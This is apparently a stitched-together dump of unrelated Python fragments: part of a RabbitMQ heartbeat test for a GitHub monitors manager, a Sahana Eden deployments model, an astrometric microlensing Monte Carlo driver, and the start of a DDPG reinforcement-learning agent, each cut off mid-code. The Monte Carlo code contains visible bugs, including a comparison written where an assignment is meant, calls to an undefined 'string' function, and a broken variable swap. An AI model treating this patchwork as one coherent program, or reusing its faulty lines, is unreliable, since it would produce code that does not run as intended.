self.test_manager.config_process_dict['config_id1'][
'process'].join()
# Give time for the process to stop
time.sleep(1)
# Delete the queue before to avoid messages in the queue on error.
self.test_manager.rabbitmq.queue_delete(self.test_queue_name)
# Initialise
method_hb = pika.spec.Basic.Deliver(
routing_key=HEARTBEAT_OUTPUT_MANAGER_ROUTING_KEY)
body = 'ping'
res = self.test_manager.rabbitmq.queue_declare(
queue=self.test_queue_name, durable=True, exclusive=False,
auto_delete=False, passive=False
)
self.assertEqual(0, res.method.message_count)
self.test_manager.rabbitmq.queue_bind(
queue=self.test_queue_name, exchange=HEALTH_CHECK_EXCHANGE,
routing_key=HEARTBEAT_OUTPUT_MANAGER_ROUTING_KEY)
self.test_manager._process_ping(blocking_channel, method_hb,
properties, body)
# By re-declaring the queue again we can get the number of messages
# in the queue.
res = self.test_manager.rabbitmq.queue_declare(
queue=self.test_queue_name, durable=True, exclusive=False,
auto_delete=False, passive=True
)
self.assertEqual(1, res.method.message_count)
# Check that the message received is a valid HB
_, _, body = self.test_manager.rabbitmq.basic_get(
self.test_queue_name)
expected_output = {
'component_name': self.test_manager.name,
'running_processes':
[self.test_manager.config_process_dict['config_id2'][
'component_name']],
'dead_processes':
[self.test_manager.config_process_dict['config_id1'][
'component_name']],
'timestamp': datetime(2012, 1, 1).timestamp(),
}
self.assertEqual(expected_output, json.loads(body))
# Clean before test finishes
self.test_manager.config_process_dict['config_id2'][
'process'].terminate()
self.test_manager.config_process_dict['config_id2'][
'process'].join()
except Exception as e:
self.fail("Test failed: {}".format(e))
@freeze_time("2012-01-01")
@mock.patch("src.monitors.starters.create_logger")
@mock.patch.object(RabbitMQApi, "basic_ack")
def test_process_ping_sends_a_valid_hb_if_all_processes_dead(
self, mock_ack, mock_create_logger) -> None:
# This test creates a queue which receives messages with the same
# routing key as the ones sent by send_heartbeat, and checks that the
# received heartbeat is valid.
mock_create_logger.return_value = self.dummy_logger
mock_ack.return_value = None
try:
self.test_manager._initialise_rabbitmq()
blocking_channel = self.test_manager.rabbitmq.channel
method_chains = pika.spec.Basic.Deliver(
routing_key=self.chains_routing_key)
method_general = pika.spec.Basic.Deliver(
routing_key=self.general_routing_key)
body_chain_initial = json.dumps(self.sent_configs_example_chain)
body_general_initial = json.dumps(
self.sent_configs_example_general)
properties = pika.spec.BasicProperties()
# First send the new configs as the state is empty
self.test_manager._process_configs(blocking_channel, method_chains,
properties, body_chain_initial)
self.test_manager._process_configs(blocking_channel, method_general,
properties, body_general_initial)
# Give time for the processes to start
time.sleep(1)
self.test_manager.config_process_dict['config_id1'][
'process'].terminate()
self.test_manager.config_process_dict['config_id1'][
'process'].join()
self.test_manager.config_process_dict['config_id2'][
'process'].terminate()
self.test_manager.config_process_dict['config_id2'][
'process'].join()
# Give time for the process to stop
time.sleep(1)
# Delete the queue before to avoid messages in the queue on error.
self.test_manager.rabbitmq.queue_delete(self.test_queue_name)
# Initialise
method_hb = pika.spec.Basic.Deliver(
routing_key=HEARTBEAT_OUTPUT_MANAGER_ROUTING_KEY)
body = 'ping'
res = self.test_manager.rabbitmq.queue_declare(
queue=self.test_queue_name, durable=True, exclusive=False,
auto_delete=False, passive=False
)
self.assertEqual(0, res.method.message_count)
self.test_manager.rabbitmq.queue_bind(
queue=self.test_queue_name, exchange=HEALTH_CHECK_EXCHANGE,
routing_key=HEARTBEAT_OUTPUT_MANAGER_ROUTING_KEY)
self.test_manager._process_ping(blocking_channel, method_hb,
properties, body)
# By re-declaring the queue again we can get the number of messages
# in the queue.
res = self.test_manager.rabbitmq.queue_declare(
queue=self.test_queue_name, durable=True, exclusive=False,
auto_delete=False, passive=True
)
self.assertEqual(1, res.method.message_count)
# Check that the message received is a valid HB
_, _, body = self.test_manager.rabbitmq.basic_get(
self.test_queue_name)
expected_output = {
'component_name': self.test_manager.name,
'running_processes': [],
'dead_processes':
[self.test_manager.config_process_dict['config_id1'][
'component_name'],
self.test_manager.config_process_dict['config_id2'][
'component_name']],
'timestamp': datetime(2012, 1, 1).timestamp(),
}
self.assertEqual(expected_output, json.loads(body))
except Exception as e:
self.fail("Test failed: {}".format(e))
@freeze_time("2012-01-01")
@mock.patch.object(RabbitMQApi, "basic_ack")
@mock.patch("src.monitors.starters.create_logger")
@mock.patch.object(GitHubMonitorsManager, "_send_heartbeat")
def test_process_ping_restarts_dead_processes(
self, send_hb_mock, mock_create_logger, mock_ack) -> None:
send_hb_mock.return_value = None
mock_create_logger.return_value = self.dummy_logger
mock_ack.return_value = | |
<filename>modules/s3db/deploy.py
# -*- coding: utf-8 -*-
""" Sahana Eden Deployments Model
@copyright: 2011-2019 (c) Sahana Software Foundation
@license: MIT
Permission is hereby granted, free of charge, to any person
obtaining a copy of this software and associated documentation
files (the "Software"), to deal in the Software without
restriction, including without limitation the rights to use,
copy, modify, merge, publish, distribute, sublicense, and/or sell
copies of the Software, and to permit persons to whom the
Software is furnished to do so, subject to the following
conditions:
The above copyright notice and this permission notice shall be
included in all copies or substantial portions of the Software.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,
EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES
OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND
NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT
HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY,
WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING
FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR
OTHER DEALINGS IN THE SOFTWARE.
"""
__all__ = ("S3DeploymentOrganisationModel",
"S3DeploymentModel",
"S3DeploymentAlertModel",
"deploy_rheader",
"deploy_apply",
"deploy_alert_select_recipients",
"deploy_Inbox",
"deploy_response_select_mission",
"deploy_availability_filter",
)
from gluon import *
from gluon.tools import callback
from ..s3 import *
from s3layouts import S3PopupLink
# =============================================================================
class S3DeploymentOrganisationModel(S3Model):
"""
Split into separate model to avoid circular deadlock in HRModel
"""
names = ("deploy_organisation",
)
def model(self):
# ---------------------------------------------------------------------
# Organisation
# - which Organisations/Branches have deployment teams
#
tablename = "deploy_organisation"
self.define_table(tablename,
self.org_organisation_id(),
s3_comments(),
*s3_meta_fields())
# ---------------------------------------------------------------------
# Pass names back to global scope (s3.*)
#
return {}
# =============================================================================
class S3DeploymentModel(S3Model):
names = ("deploy_mission",
"deploy_mission_id",
"deploy_mission_document",
"deploy_mission_status_opts",
"deploy_application",
"deploy_assignment",
"deploy_assignment_appraisal",
"deploy_assignment_experience",
"deploy_unavailability",
)
def model(self):
T = current.T
db = current.db
settings = current.deployment_settings
add_components = self.add_components
configure = self.configure
crud_strings = current.response.s3.crud_strings
define_table = self.define_table
super_link = self.super_link
messages = current.messages
NONE = messages["NONE"]
UNKNOWN_OPT = messages.UNKNOWN_OPT
human_resource_id = self.hrm_human_resource_id
organisation_id = self.org_organisation_id
# ---------------------------------------------------------------------
# Mission
#
mission_status_opts = {1 : T("Closed"),
2 : T("Open"),
}
tablename = "deploy_mission"
define_table(tablename,
super_link("doc_id", "doc_entity"),
# Limit to deploy_organisation in template if-required
organisation_id(),
Field("name",
label = T("Name"),
represent = self.deploy_mission_name_represent,
requires = IS_NOT_EMPTY(),
),
s3_date(default = "now",
),
# @ToDo: Link to location via link table
# link table could be event_event_location for IFRC
# (would still allow 1 multi-country event to have multiple missions)
self.gis_location_id(widget = S3LocationSelector(),
),
# @ToDo: Link to event_type via event_id link table instead of duplicating
self.event_type_id(),
Field("code", length=24,
represent = lambda v: s3_unicode(v) if v else NONE,
requires = IS_LENGTH(24),
),
Field("status", "integer",
default = 2,
label = T("Status"),
represent = lambda opt: \
mission_status_opts.get(opt, UNKNOWN_OPT),
requires = IS_IN_SET(mission_status_opts),
),
# @todo: change into real fields written onaccept?
Field.Method("hrquantity",
deploy_mission_hrquantity),
Field.Method("response_count",
deploy_mission_response_count),
s3_comments(),
*s3_meta_fields())
# Profile
list_layout = deploy_MissionProfileLayout()
alert_widget = {"label": "Alerts",
"insert": lambda r, list_id, title, url: \
A(title,
_href = r.url(component = "alert",
method = "create"),
_class = "action-btn profile-add-btn",
),
"label_create": "Create Alert",
"type": "datalist",
"list_fields": ["modified_on",
"mission_id",
"message_id",
"subject",
"body",
],
"tablename": "deploy_alert",
"context": "mission",
"list_layout": list_layout,
"pagesize": 10,
}
response_widget = {"label": "Responses",
"insert": False,
"type": "datalist",
"tablename": "deploy_response",
# Can't be 'response' as this clobbers web2py global
"function": "response_message",
"list_fields": [
"created_on",
"mission_id",
"comments",
"human_resource_id$id",
"human_resource_id$person_id",
"human_resource_id$organisation_id",
"message_id$body",
"message_id$from_address",
"message_id$attachment.document_id$file",
],
"context": "mission",
"list_layout": list_layout,
# The popup datalist isn't currently functional
# (needs card layout applying) and not ideal UX anyway
#"pagesize": 10,
"pagesize": None,
}
hr_label = settings.get_deploy_hr_label()
if hr_label == "Member":
label = "Members Deployed"
label_create = "Deploy New Member"
elif hr_label == "Staff":
label = "Staff Deployed"
label_create = "Deploy New Staff"
elif hr_label == "Volunteer":
label = "Volunteers Deployed"
label_create = "Deploy New Volunteer"
assignment_widget = {"label": label,
"insert": lambda r, list_id, title, url: \
A(title,
_href=r.url(component = "assignment",
method = "create",
),
_class="action-btn profile-add-btn",
),
"label_create": label_create,
"tablename": "deploy_assignment",
"type": "datalist",
#"type": "datatable",
#"actions": dt_row_actions,
"list_fields": [
"human_resource_id$id",
"human_resource_id$person_id",
"human_resource_id$organisation_id",
"start_date",
"end_date",
"job_title_id",
"job_title",
"appraisal.rating",
"mission_id",
],
"context": "mission",
"list_layout": list_layout,
"pagesize": None, # all records
}
docs_widget = {"label": "Documents & Links",
"label_create": "Add New Document / Link",
"type": "datalist",
"tablename": "doc_document",
"context": ("~.doc_id", "doc_id"),
"icon": "attachment",
# Default renderer:
#"list_layout": s3db.doc_document_list_layouts,
}
# Table configuration
profile_url = URL(c="deploy", f="mission", args=["[id]", "profile"])
configure(tablename,
create_next = profile_url,
create_onaccept = self.deploy_mission_create_onaccept,
delete_next = URL(c="deploy", f="mission", args="summary"),
list_fields = ["name",
"date",
"location_id",
"event_type_id",
"status",
],
orderby = "deploy_mission.date desc",
profile_cols = 1,
profile_header = lambda r: \
deploy_rheader(r, profile=True),
profile_widgets = [alert_widget,
response_widget,
assignment_widget,
docs_widget,
],
summary = [{"name": "rheader",
"common": True,
"widgets": [{"method": self.add_button},
],
},
{"name": "table",
"label": "Table",
"widgets": [{"method": "datatable"},
],
},
{"name": "report",
"label": "Report",
"widgets": [{"method": "report",
"ajax_init": True,
},
],
},
{"name": "map",
"label": "Map",
"widgets": [{"method": "map",
"ajax_init": True,
},
],
},
],
super_entity = "doc_entity",
update_next = profile_url,
)
# Components
add_components(tablename,
deploy_assignment = "mission_id",
deploy_alert = "mission_id",
deploy_response = "mission_id",
)
# CRUD Strings
label_create = T("Create Mission")
crud_strings[tablename] = Storage(
label_create = label_create,
title_display = T("Mission"),
title_list = T("Missions"),
title_update = T("Edit Mission Details"),
title_upload = T("Import Missions"),
label_list_button = T("List Missions"),
label_delete_button = T("Delete Mission"),
msg_record_created = T("Mission added"),
msg_record_modified = T("Mission Details updated"),
msg_record_deleted = T("Mission deleted"),
msg_list_empty = T("No Missions currently registered"))
# Reusable field
represent = S3Represent(lookup = tablename,
linkto = URL(f="mission",
args=["[id]", "profile"]),
show_link = True,
)
mission_id = S3ReusableField("mission_id", "reference %s" % tablename,
label = T("Mission"),
ondelete = "CASCADE",
represent = represent,
requires = IS_ONE_OF(db,
"deploy_mission.id",
represent),
comment = S3PopupLink(c = "deploy",
f = "mission",
label = label_create,
),
)
# ---------------------------------------------------------------------
# Link table to link documents to missions, responses or assignments
#
tablename = "deploy_mission_document"
define_table(tablename,
mission_id(),
self.msg_message_id(),
self.doc_document_id(),
*s3_meta_fields())
# ---------------------------------------------------------------------
# Application of human resources
# - agreement that an HR is available for assignments ('on the roster')
#
# Categories for IFRC AP region
status_opts = \
{1 : "I", # Qualified RDRT team member and ready for deployment:Passed RDRT Induction training (and specialized training); assessed (including re-assessment after deployment) and recommended for deployment
2 : "II", # Passed RDRT Induction training; yet to deploy/assess
3 : "III", # Passed RDRT Specialist training; did not pass/not yet taken RDRT Induction training
4 : "IV", # Attended RDRT Induction training, failed in assessment or re-assessment after deployment but still have potential for follow up training
5 : "V", # ERU trained personnel, requires RDRT Induction training
}
tablename = "deploy_application"
define_table(tablename,
organisation_id(),
# @ToDo: This makes a lot more sense as person_id not human_resource_id
human_resource_id(empty = False,
label = T(hr_label),
),
Field("active", "boolean",
default = True,
label = T("Roster Status"),
represent = lambda opt: T("active") if opt else T("inactive"),
),
Field("status", "integer",
default = 5,
label = T("Category"),
represent = lambda opt: \
status_opts.get(opt,
UNKNOWN_OPT),
requires = IS_IN_SET(status_opts),
),
*s3_meta_fields())
configure(tablename,
delete_next = URL(c="deploy", f="human_resource", args="summary"),
)
# ---------------------------------------------------------------------
# Unavailability
# - periods where an HR is not available for deployments
#
tablename = "deploy_unavailability"
define_table(tablename,
self.pr_person_id(ondelete="CASCADE"),
s3_date("start_date",
label = T("Start Date"),
set_min = "#deploy_unavailability_end_date",
),
s3_date("end_date",
label = T("End Date"),
set_max = "#deploy_unavailability_start_date",
),
s3_comments(),
*s3_meta_fields())
# Table Configuration
configure(tablename,
organize = {"start": "start_date",
"end": "end_date",
"title": "comments",
"description": ["start_date",
"end_date",
],
},
)
# CRUD Strings
crud_strings[tablename] = Storage(
label_create = T("Add Period of Unavailability"),
title_display = T("Unavailability"),
title_list = T("Periods of Unavailability"),
title_update = T("Edit Unavailability"),
label_list_button = T("List Periods of Unavailability"),
label_delete_button = T("Delete Unavailability"),
msg_record_created = T("Unavailability added"),
msg_record_modified = T("Unavailability updated"),
msg_record_deleted = T("Unavailability deleted"),
msg_list_empty = T("No Unavailability currently registered"))
# ---------------------------------------------------------------------
# Assignment of human resources
# - actual assignment of an HR to a mission
#
tablename = "deploy_assignment"
define_table(tablename,
mission_id(),
human_resource_id(empty = False,
label = T(hr_label),
),
self.hrm_job_title_id(),
Field("job_title",
label = T("Position"),
),
# These get copied to hrm_experience
# rest of fields may not be filled-out, but are in attachments
s3_date("start_date", # Only field visible when | |
'''
This File Provides the Funktions for the Montecarlo simulation
To start use MLG.Start
'''
from MLG import path,default_table, message_folder, Version,Subversion
from MLG.Simulation import RawData
from MLG.Simulation import RealData
from MLG.Modeling import fitting_micro , fitting_motion
from MLG.Math import percentile
from joblib import Parallel, delayed
import numpy as np
import time
import pickle
import datetime
import glob
import os
__all__ = ['StartMC','loadPkl', 'calcParallel']
def StartMC(EventList, namelist = None, keywords = {}, **kwargs):
'''------------------------------------------------------------
Description:
This Function distribute the calculation for the MonteCarlo
simulation on multiple CPU_Cores and stors the results in an PKL file
uses the joblib package for parallel computing
---------------------------------------------------------------
Input:
EventList: String of the input table or
List of Lens source paris for each event or
MC_results for vary the mass also
namelist: List of names for each event (for ploting routine, if None use of the index)
---------------------------------------------------------------
Output:
MC_result: Dictnary of the results. Contains:
'Header': List of all control imputs, and Code Version
'Results': List of the fit parameters
'Input_parameter': List of the input parameters
'Results_ext_obs': List of the fit parameters with external_obs if ext_obs > 0
'Chi2': List of the reduced CHI2
'Eventlist': (see Input)
'Names': (see Input)
------------------------------------------------------------'''
#--------------------------------------------------------------
#Update controle keywords
keywords.update(kwargs)
num_core = keywords.get('num_core', 6) # Number of cores
instring = keywords.get('instring', '') # string for the save files
message = keywords.get('message', False) # write the process of the computation to an file
DR3 = keywords.get('DR3', False) # Use of the Data of DR3 only
extended = keywords.get('extended', False) # Use of the 10 years data of the extended mission
vary_eta = keywords.get('vary_eta', False) # Use an new scaninglaw for 2020.5-2024.5
ext_obs = keywords.get('ext_obs', False) # include external observations
n_error_picks = keywords.get('n_error_picks', 500) # Number of pickt Observation from the error ellips
n_par_picks = keywords.get('n_par_picks', 1) # Number of pickt input Parameters from the error ellips
namelist = keywords.get('namelist', namelist) # Check if namelist is given in the keyword dictionary
#--------------------------------------------------------------
#--------------------------------------------------------------
#Create random seeds for the calculation
seed = []
for i in range(num_core):
seed.append((int(time.time()*10**9))**4 %4294967295)
keywords['seed']=seed
#--------------------------------------------------------------
#--------------------------------------------------------------
#Load Table if EventList is an string
if isinstance(EventList, str) == True:
if EventList == '':
EventList,_ = RealData.loadRealData(default_table)
else:
EventList,_ = RealData.loadRealData(EventList)
#--------------------------------------------------------------
#--------------------------------------------------------------
# start calculations with varing the mass if a dict is given
if isinstance(EventList, dict) == True:
print('vary mass')
#--------------------------------------------------------------
# extract lists from Dictionary
MC_Results = EventList
res_all_events = MC_Results['Results']
par_all_events = MC_Results['Input_parameter']
EventList = MC_Results['Eventlist']
namelist = MC_Results['Names']
header = MC_Results['Header']
#--------------------------------------------------------------
#--------------------------------------------------------------
# only consider the events with an error < 100%
EventList = [EventList[i] for i in range(len(res_all_events)) \
if (percentile(res_all_events[i][:,0])[0]> 0)]
if namelist is None:
namelist_good = None
else:
namelist_good = [namelist[i] for i in range(len(res_all_events)) \
if (percentile(res_all_events[i][:,0])[0]> 0)]
#--------------------------------------------------------------
#--------------------------------------------------------------
# update control keywords
keywords['Good']=True # indication calculation of the good events only
goodstr = 'Good_' # string for indication calculation of the good events only
keywords['vary_par']=5 # vary all parameters
n_error_picks = keywords.get('n_error_picks', 500) #check if value is given in keywords else set to defaut
keywords['n_par_picks']=n_par_picks
n_par_picks = keywords.get('n_par_picks', 100) #check if value is given in keywords else set to defaut
keywords['n_error_picks']=n_error_picks
#--------------------------------------------------------------
#--------------------------------------------------------------
# start first calculation
elif isinstance(EventList, list) == True:
#--------------------------------------------------------------
# update control keywords
keywords['n_par_picks']=n_par_picks # Update keyword
keywords['n_error_picks']=n_error_picks # Update keyword
keywords['vary_par']=keywords.get('vary_par', 1) # vary only non given parameters
keywords['Good']=False # indication calculation of the good events only
goodstr=''
#--------------------------------------------------------------
#--------------------------------------------------------------
#set default namelist to integer (not comparable within different inputs)
if namelist == None:
namelist == [str(i) for i in range(len(EventList))]
#--------------------------------------------------------------
#--------------------------------------------------------------
# exclude different filetypes
else:
print ('Input Error!')
return
#--------------------------------------------------------------
#--------------------------------------------------------------
# create header
if instring is not '':
instring = instring + '_'
if DR3:
#use only events before 2019.5 for DR3
EventList = [EventList[kkk] for kkk in range(len(EventList)) if EventList[kkk][0].getTca() < 2019.5 ]
header = len(EventList),3,n_error_picks,n_par_picks, keywords,Version+'.'+Subversion
elif extended or vary_eta or ext_obs:
#use the data of the extended mission
header = len(EventList),10,n_error_picks,n_par_picks,keywords, Version+'.'+Subversion
else:
header = len(EventList),5,n_error_picks,n_par_picks,keywords, Version+'.'+Subversion
print(time.ctime())
print(header)
#--------------------------------------------------------------
#--------------------------------------------------------------
# Distribute on different cores
num_events = len(EventList)
events_per_core = num_events/num_core
#calculation of multiple events (proxima centauri tend to take as much computation time as all other events)
if len(EventList[0]) > 10 and num_core > 2:
events_per_core = (num_events-1)/(num_core -1)
for core in range(num_core):
partstring = path+'Simulation/evpart/eventlist_'+goodstr+instring+'part_%i.pkl' % core
if core == 0:
f = open(partstring, 'wb')
pickle.dump([EventList[0],], f)
f.close()
elif core == num_core -1:
f = open(partstring, 'wb')
pickle.dump(EventList[1 + round(events_per_core * (core - 1)):], f)
f.close()
else:
f = open(partstring, 'wb')
pickle.dump(EventList[1 + round(events_per_core * (core - 1)) : 1 + round(events_per_core * (core))], f)
f.close()
#distribute events equaly
else:
for core in range(num_core):
partstring = path+'Simulation/evpart/eventlist_'+goodstr+instring+'part_%i.pkl' % core
if core == num_core -1:
f = open(partstring, 'wb')
pickle.dump(EventList[round(events_per_core * core):], f)
f.close()
else:
f = open(partstring, 'wb')
pickle.dump(EventList[round(events_per_core * core) : round(events_per_core * (core + 1))], f)
f.close()
#--------------------------------------------------------------
#--------------------------------------------------------------
#start calculations parallel
if num_core != 1:
res_par = Parallel(n_jobs=num_core)(delayed(calcParallel)(i,instring, keywords) for i in range(num_core))
else:
res_par = [calcParallel(0,instring, keywords),]
#--------------------------------------------------------------
#--------------------------------------------------------------
#merge the results for the parallel computations
res_all_events = []
par_all_events = []
res_no_ML_events = []
chi2_events = []
for res_par_core in res_par:
for par_event in res_par_core[1]:
par_all_events.append(par_event)
for res_event in res_par_core[0]:
res_all_events.append(res_event)
for res_no_event in res_par_core[2]:
res_no_ML_events.append(res_no_event)
for res_no_event in res_par_core[3]:
chi2_events.append(res_no_event)
if ext_obs:
MC_Results = {'Header': header,'Results':res_all_events,'Input_parameter':par_all_events,\
'Results_ext_obs':res_no_ML_events, 'Chi2':chi2_events,'Eventlist':EventList,'Names':namelist}
else:
MC_Results = {'Header': header,'Results':res_all_events,'Input_parameter':par_all_events,\
'Results_no_ML':res_no_ML_events, 'Chi2':chi2_events,'Eventlist':EventList,'Names':namelist}
#--------------------------------------------------------------
#--------------------------------------------------------------
# save results as pkl file
string = path + 'Data/MC'+goodstr[:-1] +'_'+ instring + datetime.datetime.today().strftime('%d-%m-%Y')\
+ '_%.f_%.f_%.f_%.f.pkl' % (header[:4])
f = open(string, 'wb')
pickle.dump(MC_Results, f)
print(string)
if message:
os.system('cp ' + string + ' ' + message_folder)
return MC_Results
def loadPkl(filename = '',Good = False, extended = False, n_error_picks = False, n_par_picks=False):
'''------------------------------------------------------------
Load the MC_results PKL files ()
---------------------------------------------------------------
Input:
filename: filename expected in the MLG/Data Folder
---------------------------------------------------------------
Output:
MC_Results: Dictonary containg results from StartMC
------------------------------------------------------------'''
if len(glob.glob(filename)) == 0:
if Good: good = 'Good'
else: good = ''
if extended: ex = string(extended) + '_'
else: ex = '*_'
if n_error_picks: er = string(extended) + '_'
else: er = '*_'
if n_par_picks: pa = string(extended) + '.pkl'
else: pa = '*.pkl'
gstring= (path + 'Data/MC' + good + '*_' + ex + er + pa)
g = glob.glob(gstring)
string = g[-1]
if filename != '':
if len(glob.glob(path + 'Data/' + filename)) == 0:
print('File not found! Using standard file')
else:
string = glob.glob(path + 'Data/' + filename)[0]
else:
print('Using standard file')
else: string = glob.glob(filename)[0]
print(string)
f = open(string,'rb')
pkl = pickle.load(f)
f.close()
if isinstance(pkl,dict): #from Version 3.1
if 'Results_comp' in pkl.keys():
pkl['Results_ext_obs'] = pkl.pop('Results')
pkl['Results'] = pkl.pop('Results_comp')
MC_Results = pkl
else:
#until Version 3.1
if len(pkl) == 6:
chi2_events = None
EventList, res_all_events, par_all_events,res_no_ML_events,namelist,header = pkl
try:
par_all_events[0].x
print(1)
except AttributeError: pass
else:
qq = par_all_events
par_all_events = res_no_ML_events
res_no_ML_events = par_all_events
elif len(pkl) == 7:
EventList, res_all_events, par_all_events,res_no_ML_events,\
chi2_events,namelist,header = pkl
try:
par_all_events[0].x
print(1)
except AttributeError: pass
else:
qq = par_all_events
par_all_events = res_no_ML_events
res_no_ML_events = qq
# Transform format to 3.1
MC_Results = {'Header': header,'Results':res_all_events,'Input_parameter':par_all_events,\
'Results_no_ML':res_no_ML_events, 'Chi2':chi2_events,'Eventlist':EventList,'Names':namelist}
return MC_Results
def calcParallel(part, instring, keywords = {} ,**kwargs):
'''------------------------------------------------------------
Description:
creats sets of observations for a part of the Eventlist
and fits the data
---------------------------------------------------------------
Input:
part: which part of the EventList
instring: file string of the EventList
keywords/kwargs: setup values for the simulation (see below)
---------------------------------------------------------------
Output:
res_part: results of the individual fits (contains a separate list for each events)
par_part: Inputparameters of the indiciual fits (contains a separate list for each events)
res_no_ML: result without microlensing
chi2_red_part: Chi2 values of the individual fits (contains a separate list for each events)
------------------------------------------------------------'''
#---------------------------------------------------------------
#extract keywords
keywords.update(kwargs)
seed = keywords.get('seed', None) # seed's for the randomised process
Good = keywords.get('Good', False) # Second loop with variation of the mass
extended = keywords.get('extended', False) # Use of the data for extended Mission
ext_obs = keywords.get('ext_obs', False) # ext_obs include external observations
DR3 = keywords.get('DR3', False) # Use of the data for DR3 only
exact = keywords.get('exact', False) # Use the exact astrometric shift or the approximation
n_error_picks= keywords.get('n_error_picks', 500) # number of picks from the error elips of the measurements
n_par_picks = keywords.get('n_par_picks', 1) # number of different picks of input parameters
vary_par = keywords.get('vary_par', 1) # which parameters should be varied for n_par_picks
prefit_motion= keywords.get('prefit_motion', False) # fit the propermotion with out microlensing as preput
vary_eta = keywords.get('vary_eta', False) #Use data while vary eta
onlysource = keywords.get('onlysource', False) # use the data of the source only
timer = keywords.get('timer', False) # print computing-time for different steps
message = keywords.get('message', False) # save messeage file for keeping track of the process
silent = keywords.get('silent', True) # boolen if information shoul not be printed
#---------------------------------------------------------------
#---------------------------------------------------------------
# computationtime tracker
cputt = [0.,0.,0.,0.,0.,0.,0]
cputt[0] -= time.time()
# update seed for the randomised process
if seed is not None:
np.random.seed(seed[part])
#---------------------------------------------------------------
#---------------------------------------------------------------
# initilise arrays for storing the results
# fit results
res_part = []
# fit results without microlensing
res_no_ML = []
# input parameters
par_part = []
# Chi2_reduced value
chi2_red_part = []
chi2_red_mot_part = []
#---------------------------------------------------------------
#---------------------------------------------------------------
# load part of the Eventlist
if Good:
partstring = path+'Simulation/evpart/eventlist_Good_'+instring+'part_%i.pkl' % part
f = open(partstring,'rb')
EventList = pickle.load(f)
f.close
os.remove(path+'Simulation/evpart/eventlist_Good_'+instring+'part_%i.pkl' % part)
else:
partstring = path+'Simulation/evpart/eventlist_'+instring+'part_%i.pkl' % part
f = open(partstring,'rb')
EventList = pickle.load(f)
f.close
os.remove(path+'Simulation/evpart/eventlist_'+instring+'part_%i.pkl' % part)
cputt[0] += time.time()
#---------------------------------------------------------------
for i1 in range(len(EventList)):
#---------------------------------------------------------------
# updat process tracker
if message:
os.system('touch %s.%s-%s-0.message'%(message_folder+instring[:-1],part,i1))
#---------------------------------------------------------------
cputt[1] -= time.time()
#---------------------------------------------------------------
# initilise list for each event
# fit results
res_single = []
res_external_obs = [] #for comparison (test)
# input parameters
par_single = []
# Observations (for fitting without microlensing)
Obs_save = | |
<gh_stars>0
import argparse
import time
import datetime
import os
import logging
import pickle
import csv
from collections import deque
from baselines.ddpg.ddpg import DDPG
import baselines.common.tf_util as U
from baselines import logger, bench
from baselines.common.misc_util import (
set_global_seeds,
boolean_flag,
)
from baselines.ddpg.models import Actor, Critic
from baselines.ddpg.memory import Memory
from baselines.ddpg.noise import *
import gym
import tensorflow as tf
from mpi4py import MPI
import numpy as np
class LASBaselineAgent:
def __init__(self, agent_name, observation_dim, action_dim, num_observation=20, env=None, load_pretrained_agent_flag=False ):
self.baseline_agent = BaselineAgent(agent_name, observation_dim, action_dim, env, load_pretrained_agent_flag)
self.internal_env = InternalEnvironment(observation_dim, action_dim, num_observation)
def feed_observation(self,observation):
"""
Diagram of structure:
-----------------------------------------------------------------
| LASBaselineAgent |
| |
| action,flag observation |
| /\ | |
| | \/ |
| ------------------------------- |
| | Internal Environment | |
| ------------------------------- |
| /\ | Flt observation, reward, flag |
| | action \/ |
| --------------------------- |
| | Baseline agent | |
| --------------------------- |
| |
------------------------------------------------------------------
"""
is_new_observation, filtered_observation, reward = self.internal_env.feed_observation(observation)
if is_new_observation:
action = self.baseline_agent.interact(filtered_observation,reward,done=False)
take_action_flag, action = self.internal_env.take_action(action)
return take_action_flag, action
else:
return False,[]
def stop(self):
self.baseline_agent.stop()
class InternalEnvironment:
def __init__(self,observation_dim, action_dim, num_observation):
self.observation_dim = observation_dim
self.action_dim = action_dim
self.num_observation = num_observation
self.observation_cnt = 0
self.observation_group = np.zeros((num_observation, observation_dim))
def feed_observation(self, observation):
"""
1. Feed observation into internal environment
2. perform filtering
3. calculate reward
:param observation:
:return:
"""
flt_observation = np.zeros((1,self.observation_dim), dtype=np.float32)
reward = 0
# stack observations
self.observation_group[self.observation_cnt] = observation
self.observation_cnt += 1
# Apply filter once observation group is fully updated
# After that, calculate the reward based on filtered observation
if self.observation_cnt >= self.num_observation:
self.observation_cnt = 0
# self.flt_prev_observation = self.flt_observation
flt_observation = self._filter(self.observation_group)
is_new_observation = True
reward = self._cal_reward(flt_observation)
else:
is_new_observation = False
return is_new_observation, flt_observation, reward
def take_action(self,action):
take_action_flag = True
return take_action_flag, action
def _cal_reward(self, flt_observation):
"""
Calculate the extrinsic rewards based on the filtered observation
Filtered observation should have same size as observation space
:return: reward
"""
reward = 0
for i in range(flt_observation.shape[0]):
reward += flt_observation[i]
return reward
def _filter(self, signal):
"""
Averaging filter
signal: numpy matrix, one row is one observation
"""
return np.mean(signal, axis = 0)
class BaselineAgent:
def __init__(self, agent_name, observation_dim, action_dim, env=None, load_pretrained_agent_flag=False ):
self.name = agent_name
#=======================================#
# Get parameters defined in parse_arg() #
#=======================================#
args = self.parse_args()
noise_type = args['noise_type']
layer_norm = args['layer_norm']
if MPI.COMM_WORLD.Get_rank() == 0:
logger.configure()
# share = False
rank = MPI.COMM_WORLD.Get_rank()
if rank != 0:
logger.set_level(logger.DISABLED)
eval_env = None
#=====================================#
# Define observation and action space #
#=====================================#
if env is None:
self.env = None
obs_max = np.array([1.] * observation_dim)
obs_min = np.array([0.] * observation_dim)
act_max = np.array([1] * action_dim)
act_min = np.array([-1] * action_dim)
self.observation_space = gym.spaces.Box(obs_min, obs_max, dtype=np.float32)
self.action_space = gym.spaces.Box(act_min, act_max, dtype=np.float32)
else:
self.env = env
self.action_space = env.action_space
self.observation_space = env.observation_space
self.reward = 0
self.action = np.zeros(self.action_space.shape[0])
self.prev_observation = np.zeros(self.observation_space.shape[0], dtype=np.float32 )
# =============#
# Define noise #
# =============#
# Parse noise_type
action_noise = None
param_noise = None
nb_actions = self.action_space.shape[-1]
for current_noise_type in noise_type.split(','):
